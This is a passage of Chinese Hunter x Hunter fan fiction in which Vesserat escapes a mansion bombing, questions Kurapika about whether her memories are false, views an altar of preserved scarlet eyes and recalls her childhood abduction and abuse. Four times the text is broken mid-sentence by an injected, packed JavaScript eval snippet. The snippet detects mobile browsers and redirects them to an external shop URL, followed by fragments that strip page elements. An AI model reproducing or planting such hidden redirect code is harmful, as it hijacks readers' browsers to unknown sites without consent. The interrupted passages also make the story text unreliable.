协力把莱特从沙发底下搬出来,这个做好了今天死去的觉悟的男人正痛得嗷呜嗷呜直叫,羞耻感让他的决心都要磨灭大半了,叫嚷着让他们快点带自己离开。 “对了。”把莱特扛在肩上的时候,同僚忽然问,“你叫什么名字?我是卜罗德” 他说着,笑了一下,露出很孩子气的小虎牙。 “总觉得,现在再不认识彼此的话,以后就没有机会了。” 他话语间的意思似乎是,自己很可能会死在这里,此刻就是最后的交换姓名的机会。 是了,虽然她不会死,但他人的姓名是脆弱的。她一直知道这一点,只是到了此刻,这个认知才变得前所未有的鲜明。 “我叫……” 她的嘴唇翕动着,却未能吐露出在那之后的话语。 她的名字是什么呢,维瑟拉特吗,这真的是她的名字吗?或者十三号吗,可笑的编号也能成为名字吗? 犹豫之后,什么也没能说出口。 “以后再告诉你。”她站起身,躯体意外得沉重,“我会让你们活着回家,以后还有机会。” “好。” “我们走吧。” 拨通了旋律的电话,维瑟拉特插上耳机。现在不用再担心戴着耳机会被兰格雷家的人担心是不是在盘算着奇怪的事情了,她可以尽情地按照旋律的指引行动,无论是躲藏在何处的敌人都不可能逃一辈子。她会清出道路。 是了,是了,就是这样。你就是这种听命行事的道具,没有自我意识的人偶,什么都感觉不到的怪物,就像现在这样,你一直就是这样。 道具。人偶。怪物。 道具。人偶。怪物。 道具。人偶。怪物。 “维瑟拉特!” 旋律的呼唤声从耳机里传来,她花了点时间才反应过来。 “怎么了?” “冷静一点,没事的。不要想太多,好吗?我们很快就能回家了。” 回家……家……为什么要说这种她没有的东西。 远远的,旋律能听到她的心跳声在急速地沉下去,几乎要遁入虚无。而在此之前,她的心音是前所未有的激昂,带着冲动的愤恨和不安。是因为兰格雷说了那些很过分的话吗?可是,在更过分的话从那张脏嘴里吐露出来之前,维瑟拉特就已经杀死他了,在那之后她却尖叫着不停破坏他的尸体。到底是发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117855|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么? 旋律真的很担心她,可眼下还有更麻烦的事情存在着。 “地下室有人按下了按钮。很可能是……炸弹!” 旋律的声音不自觉地颤抖起来。 “莱特先生已经上车了,你也快走!没有多少时间了。” “明白。还有其他诺斯拉的人在洋馆吗?”维瑟拉特下意识说。 这也只是衍生物。你以为你是那种好心到会在意他人安危的家伙吗?这可不是你的自主性激发的行动。 有声音在这么说。维瑟拉特听见了,但她真的有点顾不上了。 救出地下室的伤员,一脚把瞻前顾后的其他同僚踹出洋馆,试图把她留在此地的兰格雷的手下就好好地躺在地上吧,别想着再来拽她的脚腕了。维瑟拉特是最后一个迈过大门的人。旋律一直在催促着她快跑,好像已经能够听到炸弹的倒计时了。诺斯拉的最后一辆车已经启动了引擎,车上的人也在催她快点上车。 用力一跃,钻进满当当的后排,她的腿还留在车外。已经来不及关车门了,一脚油门踩下去,汽车咆哮着向前。下一秒,洋馆燃起爆裂的大火,冲击波推着整辆车更快地向前。 无论如何,逃出生天。 直到这一刻为止,都没有任何其他家族的首领前来洋馆赴约。 他们的缺席不是因为听到了洋馆内发生缠斗的消息。事实上,打从一开始,他们就不会来,首领会议是兰格雷怂恿他们传递的谎言,而那些首领们也乐于撒谎。 与其费心费力出手解决掉两个家族,不如旁观这场势必会纠缠得你死我活的争斗,倘若有一方能够活下来,再伸出一根手指将其碾碎,最后分食他们的遗产就好了。所谓的“轻松的胜利”就是这么一回事。 没有了兰格雷的未来,看来只会更加棘手。无论是为了自己,还是诺斯拉家,亦或者是依旧留在这个家的维瑟拉特,酷拉皮卡想,他必须谨慎地选择前进的方式。 明日再派人拾回去世同僚的尸骨吧,今天大家还需要平复一下心情。莱特倒是已经安定下来了,说着自己还是更应该死在洋馆,实在是幸存者才会给出的发言。想也知道,他现在绝不可能乐意去死。 酷拉皮卡没有看到维瑟拉特。旋律刚才和他说了她的事,希望他们可以聊一聊,可维瑟拉特不在她的房间或是庭院,问了亚里砂,似乎是看到她去阁楼了。 沿着楼梯上去,穿过众多杂物。啊,她果然在那里,就站在天台上。 晚风吹起她的深红长发,沾染在脸颊上的血迹已经干涸,变成一层诡异的屏障,在这个距离下都能闻到铁锈味。 酷拉皮卡走过去,让自己的脚步声清晰可闻,以免她会被过轻的足音吓到。 “你在看什么?”他问,“月亮吗?” 维瑟拉特没有说话。她的视线落在地面,估计也不是在看月亮吧。 她脸上的血迹让酷拉皮卡很在意,想了想,他摸出了手帕,可还未触碰到她,维瑟拉特却拍开了他的手。 好突兀,正如她的话语。 “你在骗我。” “……什么?” “你对我说的一切,都是在骗我,对吧?” 51.质问x请告诉我x我是谁 这是质问吗,还是纯粹地询问? 尽管两个词的本质上都是对未知的探索与确认,蕴藏的情感却截然不同。酷拉皮卡觉得维瑟拉特的预期更像是前者,正在拷问着他。 酷拉皮卡没有遇见到这样的情况。就算旋律已经提前给他打了预防针,说过维瑟拉特的情绪可能太过激动,可突然对上这样的疑问,还是让他难以应对。 刺耳的话语在无论何时何地何种情境下听到,都只会是刺耳的。尽管如此,酷拉皮卡还是想要向她伸出手。 “你还好吗?”他询问着——这就真的是询问而已了,不会掺杂更多的糟糕情绪,“今天发生了什么事,可以告诉我吗?是不是有人对你说了过分的话?” 其实他知道发生了什么,也清楚兰格雷对维瑟拉特说过的那些话。旋律已经全部转达给他了。他当然不是在故意装傻,只是想要知道那些落进她的脑海之中的虚假谎言,究竟会被她的认知扭曲成怎般模样,他会逐条反驳过去。 可是,她却没有说出任何陈述的话语,目光依然落在地面上,风也在不痛快地捣乱,把长发吹得翻飞,在昏暗的夜空下失去深红光泽的发丝乱糟糟地糊在她的脸上,盖住了她的表情。 但即便是能够注视着她的面孔,他也不一定能够知晓她的心思吧。 “你说我是你红眼睛的伙伴,可我从没有见过自己的眼睛变成红色,难道你见过吗?”她这么问他。 好突然。话题像是跳到了月球上。 “见到过,就在我们第一次见面的那天。”酷拉皮卡尽力不要表现出过分的费解,“即便没有火红眼作为佐证,我也知道你是我曾经的朋友。” “因为你向我灌输了虚假的记忆,所以可以百分百确信我可以成为与你同仇敌忾的朋友吗?” 酷拉皮卡近乎茫然,“虚假的记忆?你在说什么?” “你告诉我的事情是真的吗,确实是属于‘我’的记忆吗?还是你只是把棉花填进了人偶的肚子里,所以我才变成了‘维瑟拉特’?” 都是问题,一连串的问题。好像从来没有听她抛出过这么多的问号。 风真冷,吹得脊椎骨都变硬了,酷拉皮卡的手指不自觉地松了松,手帕倏地就被吹走。本想帮她擦干净脸上的污渍才拿出了手帕,再一下子失去了这么做的余地。他想他需要深呼吸一口气, “小维,你先冷静一点。” “我很冷静。” 这么说着的她的手一直在抖,但酷拉皮卡愿意相信这不是逞强的说辞。 “好……那我需要冷静一下。”他说着,动手解开衬衫领口的纽扣,让冷风投进了,吹走不安的体温,“你在担心,是吗?担心我在骗你。” “不是‘担心’,而是‘认为’。” “为什么?你会质疑我告诉你的那些事情的真实性,这也很正常。”从一开始她就自然而然地他所告知的过去,那时酷拉皮卡就隐隐对这近似海绵的吸收能力感到不安了,“也许我的记忆是出现了一些偏差,毕竟那已经是很久之前的事情了。但我没有骗你。人偶……你怎么可能是人偶,你一直都是维瑟拉特。你不是想起了一些不存在于我的记忆中的事情吗,难道这不足以构成你存在的证据吗?” “那都是假的。一定是假的。” 她缓缓地抬起头,乱发的间隙之中露出平静的眼眸。从始至终,她的语调都没有任何明显的起伏,像是预先录制好的应答机,在他的话语结束之后才会开始播放。 “不是真的,那只是根据目的画出的实现路径而已。因为你向我灌输了那些记忆,所以我才编造出了合理化这些记忆的对应的‘过去’。根本不可能是真的。” 她的嘴角小幅度地抽搐起来,怎么也无法控制。 “说到底,只是一个怪物罢了……” 酷拉皮卡说不出话。他的话语枯竭了吗?明明他不是那种不擅长说话的笨拙家伙,此刻却感到舌头好干。想要呼唤她的名字,像小时候那样,像任何时候一样——如今只有这个名字能够呼唤了,除此之外,不会再有任何族人呼应他的呼唤——但是不行。 心里多少有数,现在在说出“维瑟拉特”,只会让她愤怒,也可能是痛苦。 为什么会变成这样?光是想一想可能的解答,酷拉皮卡都觉得痛苦得受不了。 “你选择相信兰格雷,而不是我吗?”想要向她伸出的手始终只能垂在西装的衣袖里,缩成紧握的拳头,“他否定了你的价值和记忆,所以你也做出了同样的事情,是吗?他只是在骗你,不要……” “我知道的,不用他说我也知道!” 她第一次打断酷拉皮卡的话语,第一次近乎是扯着嗓子说话,尖利的声音敲打着彼此的鼓膜。 “当你看着我的时候,我都不知道你看的人是谁。上一个没有把事情忘掉的我吗?小时候一起和你玩的维瑟拉特吗?” 她的脸颊狰狞地皱起来,干涸的血液被揉碎,粉末般扑朔着掉下来。 “你不告诉我你在做的事情,一味地为我规划着你觉得最好的未来。我明明一点也不疼,你却还要问我会不会疼,我不疼啊我不疼啊我不疼啊,你可以不要为我不存在的疼痛而难过吗?你的事情我一点都不知道,你到底和我说过多少和你有关的事情?说不定你也是假的,和我的记忆一样,是我为了达成某个目的而规划出的路径,或者这世上的全部都是……” 她颤抖着后退,几乎要触碰到围栏。这个距离太危险了,一定会掉下去的,酷拉皮卡慌忙伸出手,攥住她的手腕,触碰的那一刻才意识到,这很可能会让如此不安的她更加生气。 生气也无所谓了。 “对不起。” 他要告诉她,必须要对她说。 “我从来不知道我的行为会让你产生这种想法,也完全没有意识到我做出了这种事。但就像你说的,我总在你的身上寻找以前的影子。‘这样的行为真像是小维以前总做的’‘这种事小维以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121790|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前不常做呢’,我确实很常这么想,因为……因为你是维瑟拉特,是我从小就认识的朋友,是我在幻想的时候都不认为会实现的重逢。在今天之前,我没有对你说过任何一句谎话;在今天之后,我也可以发誓,我决不会骗你。” 酷拉皮卡看着她,那么认真地注视着她,从他眼眸的倒影中,维瑟拉特看到了自己——面目狰狞的自己。 这才是真正的怪物吧。可恨又可恶。 好想后退,离怪物越远越好,尽管已退无可退,维瑟拉特的步伐还是不受控制地在向后方挪动着。可酷拉皮卡攥住她的手腕,不让她再向危险的边缘靠近。他甚至有点太用力了,将她拉到自己身边,在她生气或是厌烦之前,紧紧地抱住了她。 这时候应该说出怎样的话呢?酷拉皮卡真的很想要说点什么,可话语依然枯竭,而此刻又充盈着前所未有的现实感。能听到维瑟拉特杂乱的呼吸声,杂乱而仓促,像是被什么追逐了一路,直到此刻才能停下脚步。她的四肢也僵硬着,习惯性地抗拒着触碰,但酷拉皮卡不想松手。 好不容易才能攥在手心里的重逢,决不能再分开了。 “对不起,小维……我会看着你的,我也会听你说。无论怎样的事情,我都会告诉你。” 他喃喃着,说给她的话语也像是在告诉自己。 “你不是被什么人摆布的玩偶,你的记忆是属于你的,不是在射出的箭矢上画下的靶子。你是……我们是,由大地与天空共同滋养长大的窟卢塔族的子民。” 有什么湿漉漉的、冰冷的水滴滚进酷拉皮卡的衣领。或许是大海的缩影吧。 “你还记得以前我们总说的祷文吗?” 他低下头,任由维瑟拉特身上的血腥味填满鼻腔。这种事,他不介意。 “天上太阳,地上绿树,我们的身体在大地诞生,我们的灵魂来自于天上……” “……请您永远赞美窟卢塔族人民,”她的颤抖一点一点平息下来,“让我们以红色的火红眼为证。” 酷拉皮卡一次也没有对她说起过窟卢塔的祈祷文,可她却能予以补全。这一定是证明,她的记忆是真实的存在的证明。 “小维,我想带你去个地方。” 他说着,笑了一下,尽管嘴角的弧度并不那么像是因轻快的心情而带来的笑意,可他还是会笑着注视她。 “走吧。” 沿着楼梯向下,走到不常有人造访的地下三层。 没有点灯,到处都黑漆漆的。酷拉皮卡挑开防尘的帘布,拉着她的手往前走。 “这里还没有搭建完,所以看起来乱糟糟的。” 他伸手去摸开关,言语间满是抱歉。 “其实我也想过,在这里建成之后,是不是该带你来看,也担心你看到了这些会不会觉得太难过……果然,还是应该让你看看才行。” 咔哒——灯亮了。 漂浮在福尔马林液体中的火红眼注视着窟卢塔的孩子们。 52.祭坛x火红眼x关于那天 这是一处灰白色的空间。墙壁还没抹上腻子,地面涂满了维瑟拉特认不出来的建筑材料的粉末,还有大包大包的建材堆在角落里,就连空气中都带着一股沉闷的灰尘气味,顺着呼吸一路钻进肺部,整个胸腔都会随之变得不适。不算太痛,只是维瑟拉特依旧厌恶着疼痛和不适感感。 她用力地喘了一口气,尽力让身体适应这种微弱的刺痛之后,视线这才落在中央的台子上。 准确地说,这不是桌子,而是更像是一个……祭坛吗?高高立起的石块上还雕刻着尚未完全成型的一些图案,有待更精细的雕琢。她的艺术造诣有限,完全想象不出这些多面体在完工之后会是怎般模样。 想象不出来也没关系,这根本不重要。 重要的应该是摆在祭坛上的火红眼才对吧。 火红眼漂浮在圆柱体的玻璃罐里,密封的接缝处依旧会漏出福尔马林的气味,而那浑圆的赤红色就漂浮在透明防腐剂的正中央。可能是酷拉皮卡与维瑟拉特到来的脚步声引发了祭坛极微弱的的小幅度颤抖,以至于这些静静浮在水中、无论再过多少年也不会褪色的眼眸也开始缓缓漂动起来,仿佛颤动的眸光。 从还没有完全装修好的天花板上落下了尘土。酷拉皮卡快步走过去,伸手拂去灰尘,动作轻得像是一阵微风拂过。 “我希望能有一个任何人都能平静待着的地方,所以才建造了这个祭坛。大家可以在这里安息。” 他说着,侧过身来看她,维瑟拉特这才意识到自己的脚步竟然在不知不觉之间变得如此迟钝,被他彻底甩在了身后。这样也好,从这个距离看过去,酷拉皮卡努力掩饰的悲戚的表情居然能够那么自然地融进死去的火红眼之中。 “当然了,在建筑工人早晨过来上班之前,我只能把大家收进仓库里了。我也不喜欢这样。” 是嘛。原来是这样。维瑟拉特这么想着,心虚却没能化成完整的话语。她艰难地张了张嘴,吐出的只是无声的空气。没关系,酷拉皮卡能猜出她想说的话。 “以前我曾告诉过你,我想要收回所有族人的眼睛。我知道你想不起来了,毕竟在你被西索重伤且丢失记忆之后,我就没有再和你提到过这件事了。我为什么不再说起这件事呢?说实话,我自己也不知道理由。” 酷拉皮卡不自觉耸了耸肩,这是个自嘲般的动作,也难怪他没有再接着这个话题说下去,很别扭地将话题转到了另一个方向——但说的依然是和火红眼有关的一切。 “火红眼是数量既定的‘宝物’,除了市场上现有的数量,不会再有新的眼睛流通了。”他说到这里的时候深呼吸了一口气,要用这种物化的方式讨论每个他曾经认识的人绝不是什么轻而易举的事情,可他还是会继续说下去,“只要没有人出售火红眼,就很难收回族人的眼睛,所以我请珀斯怕西斯替我占卜了火红眼的位置……小维,你没想起来珀斯帕西丝是谁,对吧?” 自己的茫然神情表现得这么明显吗?维瑟拉特心虚地垂下眼睛,很小声地说了一句“抱歉”,但酷拉皮卡其实并不在意这点微小的忘却。他会告诉维瑟拉特,珀斯帕西丝是曾经和他们有过合作关系的占星术师。 “有了占卜的讯息之后,找回火红眼的工作就变得简单一些了。可以花钱购买,也可以用他们想要的东西进行交换,如果实在不行,也可以想办法把眼睛偷出来……当然了,最后一种办法,我还没有试过。我现在只找回了五对眼睛。旋律是家里唯一知道我在做什么的,她帮了我很多。” 酷拉皮卡捧起一双眼睛,紧紧贴在怀中。透过充满液体的圆柱体,他的身影压缩成纤细的一条,映在玻璃上的维瑟拉特的倒影也变得如此微不足道。 “小维,我知道你无法感知到很多情感,但在看到这些眼睛的时候,你的心是否会有触动呢?”他抿了抿唇,痛苦却佯装太平的面容几乎要漏出痛苦的裂纹,“只要你的内心会有哪怕一星半点的动摇,就是我没有欺骗你的最好的证明。我们是血脉相连的族人。” 触动……该怎么描述触动呢?她需要一个定义。 过快的心跳吗?还是胸腔似乎被挖掉了一块的缺失感?又或者是…… 维瑟拉特扫过每一双眼睛,想象不出他们曾经的模样,却不由自主地颤栗了一下。诡异的阴冷感爬到了她的身体里。 不知道从什么时候开始,她的视线就落在了最边缘的那双眼睛上,固执地注视着它。她的脚也不自觉地开始动起来,带着她走过去,那双眼睛因此愈发显著地占据视线,将无关的一切全都挤出视界,来到她的眼前。 火红眼注视着她,紧缩的瞳孔如同黑色针眼。就在虹膜的旁边,有一个小小的、三角形的棕斑。 像是被人从腹部打了一拳——而且,一定是全力的一拳,所以维瑟拉特才会忽然弯下身子,折成无比微小的存在。她慌乱地捂住嘴。 要吐出来了。 “还好吗?” 酷拉皮卡轻轻拍着她的后背。维瑟拉特很想给出回答,无论是“我就很好”或是“我不怎么好”都可以,却无法开口。 只要张开嘴唇,漏出的就一定是尖叫了吧。 她只能这么缩着,将呼吸也藏住,片刻之后,右手才慌乱地摸过口袋,好不容易找到的香烟盒和火柴全都掉在地上,乱七八糟。艰难地拿起来,划亮火柴,点燃的小小火苗不识相地摇曳不停,害她不得不丢掉好几根即便烧尽了也没能完成使命的小木棍。 再拿一根火柴吧……是最后一根 。她的手抖得厉害,这次甚至无法点燃,酷拉皮卡默不作声地从她手中拿走火柴,轻轻一擦,替她点燃了香烟。尼古丁的味道终于散在了空气中,维瑟拉特一动不动,任由烟灰落在地上。 只要抬起眼睛,就能看到那双眼睛了。火红色的,和梦里一模一样。 还有另一只红眼睛映在玻璃的倒影上。 维瑟拉特知道,那是自己的眼睛。 “对不起。”她猛吸了一口烟,浑浊的空气逃进肺里,替换了曾经存在于此的尖锐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128137|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质问,“我和你说了过分的话。对不起。” “不用道歉。小维你没有做错任何事。没能做好的那个人,是我才对。” “不是的……” “麻烦你朝我这里看过来。” “……嗯?” 维瑟拉特不明白他的意思,只是配合地照做了。酷拉皮卡摸出手帕(口袋里装了两条手帕真是太好了,他忍不住这么想),手上稍稍施加一点力气,擦掉了她脸上沾染了好久的血迹。 “现在倒是能很容易地把你的脸擦干净了呢。”他是笑着这么说的,“不过,不要哭了,好吗?” 她哭了吗?完全没有感觉到。 维瑟拉特触摸着自己的脸颊,干巴巴的。酷拉皮卡已经擦掉了她的眼泪。要再等两秒钟,才能感觉到湿漉漉的触感落下。 但看起来更像是要掉下眼泪的那个人,应该是酷拉皮卡才对吧。 “小维,害你为了自我存在而感到痛苦,我真的很抱歉。” “不,我不是因为痛苦才那么说的……” 她捧起祭坛上的妈妈的眼睛,紧紧贴着心脏。 瓶身好冷,捧在手中,防腐剂简直要吸走掌心里所有的温度,透明的化学液体颤抖出微小的涟漪。 “如果你告诉我的一切都是假的,那么,作为维瑟拉特的我的意义也完全不存在了。这样的话,我还剩下什么呢?我又是什么呢?我……” 或许很久之前她就在恐惧着这种事了,只是不去感知恐惧的存在而已,如同无数次被她抛之脑后的疼痛感,与之牵连的一切感触都感觉不到了。如今痛觉重新回到她的身体里,陌生的痛楚所带来的害怕,勾出了被她藏起来的更深的恐惧,就是这么一回事罢了。 “我很害怕。我所感知到的情感并不是‘痛苦’或者‘愤怒’,而是‘恐惧’……酷拉,我很害怕。” 她闭起眼。然后恐惧就会消失了吗?一定不会这么简单,正如心脏直到此刻还在不安地跳动那样。她请求酷拉皮卡不要说话——不要怜悯她的恐惧,也不要共情她的怯懦,她不想要任何回应。 酷拉皮卡照做了。 他一言不发地握住她的手,低下头,用额头轻轻抵着她的。似乎在这一刻,他们的呼吸能够同频,相同的火红的眼眸能够映出往日。痛苦的一定能够被抛到脑后,留下的只有值得回忆的一切。 已经不必感到害怕了。至少还有彼此陪在身边,不是吗? “我做了梦。” 她说。 这也许是昨天的梦,或是前日的梦。也可能是更久以前的梦。 “我做了一个和朋友们去探险的梦,所以我从床上起来了,迷迷糊糊地离开了家。我生病了,头很痛,意识也很混乱,一边沉浸在梦里,觉得一定要去探险不可,一边又觉得必须回家了。我一直往前走,走到了树林里……是的,那肯定是梦游。我梦游了。” 维瑟拉特终于睁开双眼。 “失踪之后发生的事情,我想起来了。” 53.野兽x潮汐x你没有名字 温暖……柔软的温暖感。有条粗糙的舌头正在舔舐着她。 维瑟拉特是被倒刺摩擦过脸颊的微微痛感弄醒的。头还很痛,喉咙干燥得几乎要粘起来,她想起自己该吃药了,否则她的感冒肯定要耗上好久才能好。 但是,醒来之后才发现,脑袋不止刺痛着,还晕乎乎的,她艰难地睁开眼,微弱的光几乎无法照亮周遭的一切,她只能勉强看到窝在自己旁边的那个给她带来了温暖的东西——三只深红色的幼兽。 ……嗯? 维瑟拉特差点没能反应过来,还好只是“差点”而已。下一秒她就立刻抬起了头,看到了那个在用舌头舔她的脸的始作俑者。 也是一只深红色的野兽,巨大的身躯占据了大半个山洞,比她的拳头还要大上一圈的眼球正温和地低垂着,以一种充满母爱的自爱亲昵地收拾着昨晚在暴雨的泥地里摔倒的她。 啊,是了。她梦游了。因为做了和大家一起去野外探险的梦,分不清现实地从家里走了出来,沿着山路走了好久好久,好不容易清醒过来,想着要回家,却彻底迷路了。 夜晚的密林是深黑色的迷宫,落雨的夜晚连月光也看不到,温度也冷得可怕,她肯定是在那时候不小心昏过去了……然后就被这头野兽带回去了吗?因为她们都有着深红色的毛发,而雨水又恰巧把她身上异类的气味冲淡了,所以她才被带到了它的巢穴里了吗? 可是……可是…… 维瑟拉特的心脏跳得好快。她真的不想那么害怕的,可身体却过分诚实,被吓得硬邦邦的,一点都动不了,任由野兽的舌头一路舔到她的脑袋上。她的长发挂住了野兽妈妈舌头上的倒刺,为了把头发从舌头上刮下来,它狰狞着脸呕了好几下,这幅面孔怎么都更像是想要把她吃掉的样子。 它肯定会发现我不是它的孩子的! 维瑟拉特惴惴不安地想,手指已经开始哆嗦起来了。 在被野兽发现自己的异族身份之前,肯定还是还是点早点逃出去才对。她要快点找到回家的路。 下定了决心,恐惧感也能被勉强压下去了。维瑟拉特往旁边偷摸摸地挪了挪屁股,双脚完全踏在地面上,一点一点拉开与野兽的距离。 貌似就是在她们之间的距离抵达某个特定程度的时候,野兽妈妈忽然反应过来了,完全认出了她根本不是自己的孩子,恐怖的咆哮如狂风似的推着她冲出山洞。维瑟拉特根本不敢回头,也不想知道自己是不是正在被追着,她的视线只能不安地四下张望,寻找着熟悉的景色。 可是,目之所及的一切全都不熟悉。这到底是哪里? 茫然感没能逼停维瑟拉特的脚步。既然眼前都是陌生的风景,那就直直地往前跑吧,回家的路一定能够出现的。 午后的日光把她的头皮晒得发烫,其实她又饥又渴,但脚步根本不能放缓。想要早点到家,只能快点往前跑。 爸爸妈妈肯定很着急了,希望他们别骂她呀。虽然她在梦里乱跑真的很值得被骂,可是挨骂什么的她才不要呢。要不叫上派罗一起回家吧,有一贯乖巧的派罗在,爸爸妈妈肯定不会好意思在他的面前说她的不好。对了对了,还要告诉酷拉皮卡,自己被野兽捡回家的事情,他肯定会惊讶到不得了啦!说不定还会眼红她呢,毕竟…… ……啊! 坠落的尖叫声被封在了胸腔里,眼前被绿叶掩盖的路径竟然是个陡峭的斜坡,被雨水冲刷得黏糊滑腻,维瑟拉特脚底一滑,摔倒之后怎么也没办法再站起来了,重力强硬地拉扯她滚落山底。 没事的,没事的。她紧紧抱着头,这是最能让自己活着回到家的生命的核心。 等滚到平地上,她就能站起来了。说不定到时候,回家的路也会出现在眼前的。 事实并非如此。 斜坡的下方并非平地,而是湍流,被水泽裹挟的那个瞬间,她的家将彻底远去。 落水期间的事情,维瑟拉特想不起多少了。她只是觉得很冷,浑身上下就连思维都在颤抖。她不会游泳,只是被水托着向前,意识好几次都被吹走了,茫然间能瞥见到的全部都是陌生的风景,恐惧感还来不及攫住心神,意识已先一步再度沉入水底。 漂了多久呢?可能是很多天吧。如果不是侥幸抓住了一段木头,她一定会漩涡吸入,成为水底的一副骨头。 漂浮。 漂浮。 漂浮。 漂流到岸。 “你死掉了?” 谁在用树枝捅她。 维瑟拉特艰难地睁开双眼,看到了白发的中年男人。他有一张很死板的脸,像是冻在雪地里却又于春日化冻的蔬菜。 其实维瑟拉特完全听不懂他说了什么,但终于能够看到什么人了,她真的好激动,四肢都不由自主地颤栗起来,让她看起来像是正在抽搐的病人。 “活着啊。” 男人忽然伏低身子,粗暴地扒开她的右眼。 “红色的眼睛……窟卢塔人吗?如果是窟卢塔的话,应该能派上用场。” 他在讲什么?维瑟拉特听不懂。尽管有好几年都生活在爸爸的故乡,可她一点也不会通用语。她试着去问男人是谁,他并不理会。和她一样,他根本不懂窟卢塔的语言。 在那之后的一切,是一点一点慢慢才摸清楚的。 这里是深山,却不是窟卢塔族聚集的山间。两地截然不同,大概间隔相当遥远。男人的家里还有其他两个比她大了三岁的孩子,他们之中任何一个人的名字她都不知道。 “不需要知道。”这是在维瑟拉特靠着男人丢给她的辞典努力自习了通用语之后,听懂的他的第一句话,“名字没有意义。你们全都是被遗弃的孩子,没有人会爱你们。想要活下去,就必须按我说的去做。” 不是的。我没有被遗弃啊。 维瑟拉特下意识地想要这么说,可这句话用通用语该怎么讲呢?根本来不及整理好语言,他已经命令孩子们去进行日常的训练了。 他似乎是在培养什么战士。维瑟拉特想。 住在他家的孩子们,每天必须绕着山跑三个来回,而后每日随机选择三种武器和他对战,除了睡觉和吃饭之外的时间,全都在打磨战斗技巧,从□□到念能力必须精进,不会有任何能够松懈下来的时间。这个男人很严厉。 好想逃,想要回家——这念头当然有过,只是无法实现罢了。 男人会在他们的脖颈上套上铁圈,里面注入了他的念力,只要逃出这座山的范畴之外,就会被立刻炸死。死了也能算是逃出去了吗?不,根本逃不出去。 学会通用语之后,他让维瑟拉特进行了水见式。“只是强化系吗?”他厌恶地咋舌。 强化系是什么意思,不好吗?维瑟拉特很想问,可询问说不出口。 男人不喜欢别人说出任何多余的话语,节外生枝的问题会让她挨打。其他的两个伙伴已经被驯服了,最近总是在挨打的只有维瑟拉特一个人而已。 可是,她真的很想说。 “你不满意,是吗?”心跳快得要呕出来,可她还是要说,“如果我对你来说没有用,可以让我回家吗?爸爸妈妈还在等我。我想回家。” 缓缓地,缓缓地,他投来视线。而后追上的是耳光。 “你没有家了。”落在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133342|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的拳头说。 “你被遗弃了,所以你才在这里。你的父母根本不爱你。”几乎要踹断脊椎骨的他的脚跺出这种声响。 “你只是个红眼睛的废物,给我懂得感恩啊!”他在耳边咆哮,“说话!说‘谢谢’!” 不给出答复也会挨打。维瑟拉特只能说出违心的话。 从没有被打得这么狠,夜里睡觉都好痛。掉眼泪一定很丢人,可她还是藏不住小声啜泣。 “你啊。” 那个她不知道名字的女孩冲她说。 在今晚之前,她们几乎没怎么说过话。 维瑟拉特乱七八糟地抹掉眼泪,对她说抱歉,但她似乎无所谓这种事。 “下次别说什么要回家之类的话了。他会生气的。生气的话,我的日子也会很不好过。” “对不起……”她确实只顾着自己了。 “不用道歉。你没有错。只是……除了忍受,没有更多选择了。这就是我们在成为大人之前的人生了,但未来也许会有办法的。所以别再故意惹怒他了,你也不想痛苦地活着吧。” 她走下床,轻轻把手按在维瑟拉特的伤口上。今天的伤口太多了,两只手怎么藏得住。 “活下去,然后回家。我一直都是这么告诉自己的。” “嗯……”维瑟拉特咽下眼泪,“对了,你叫什么名字?” “我叫……抱歉,我忘记了。” “没事。我叫维瑟拉特,朋友们会叫我小维。” “好,小维。我会记住你的名字。” 疼痛在后半夜褪去,维瑟拉特终于睡着了。 但醒来还是要面对那个男人。他一直在盯着她看。 “过来。”他的话在什么时候都很像是命令。 维瑟拉特哆哆嗦嗦走过去。昨天挨打的记忆太明晰了,随之诞生的恐惧感也无法褪去。 他伸出手,一下子捏住她的脸,上下左右地看。 “愈合得挺快。看来,你……”他说到这里,话语顿了顿,又丢出命令,“手伸出来。” “好。” 男人在她的手臂上划下了好深的伤口,维瑟拉特几乎要叫出来,而他只是不耐烦地让她别去感知疼痛。 